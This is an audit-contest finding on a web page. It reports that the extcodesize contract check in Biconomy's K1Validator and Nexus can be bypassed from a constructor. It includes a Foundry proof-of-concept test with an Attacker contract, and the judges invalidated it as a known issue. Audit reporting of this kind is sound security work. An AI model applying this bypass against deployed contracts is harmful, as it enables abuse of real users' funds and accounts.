HardhatFoundry
30,000 USDC
View results
Submission Details
Severity: low
Invalid

Break the extcodesize Check Leading to the Caller Being a Contract Address

[H-1] Break the extcodesize Check Leading to the Caller Being a Contract Address

impact: High

Likelihood: High

Description:

In K1Validator::_isContract() and Nexus::upgradeToAndCall(), the extcodesize opcode is used to check if an address is a contract or not. This check can be bypassed by calling any function that uses extcodesize in the constructor.

https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L140

https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L55

https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/modules/validators/K1Validator.sol#L68

https://github.com/Cyfrin/2024-07-biconomy/blob/9590f25cd63f7ad2c54feb618036984774f3879d/contracts/Nexus.sol#L317

Impact:

Bypassing the K1Validator::_isContract() function or the extcodesize opcode can allow a malicious contract to be the caller, potentially leading to various security vulnerabilities.

Proof of Concept:

Run the following code in the test folder:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "./foundry/utils/Imports.sol";
import "./foundry/utils/TestHelper.t.sol";
import "./foundry/utils/EventsAndErrors.sol";
import "./foundry/utils/NexusTest_Base.t.sol";
import "../contracts/modules/validators/K1Validator.sol";
contract BypassExtcodesize is Test {
K1Validator public validator;
Attacker public attacker;
function setUp() public {
validator = new K1Validator();
}
function test_bypass() public {
attacker = new Attacker(address(validator));
attacker.someFunction();
assertEq(validator.smartAccountOwners(address(attacker)), address(attacker), "Owner should be correctly set");
console.log("smartAccountOwners: ", validator.smartAccountOwners(address(attacker)));
}
}
/////////////////////////////
///// attack contract //////
///////////////////////////
contract Attacker {
K1Validator public validator;
constructor(address _validator) {
validator = K1Validator(_validator);
validator.onInstall(abi.encodePacked(address(this)));
}
function someFunction() public { }
}

Recommended Mitigation:

Use a more robust method to check for contract addresses, such as verifying the code hash, which is harder to spoof. Additionally, ensure that critical functions are protected by additional security measures like access control mechanisms.

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

finding-isContract-check

Invalid [known issue [Medium-3]](https://github.com/Cyfrin/2024-07-biconomy/issues/1)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.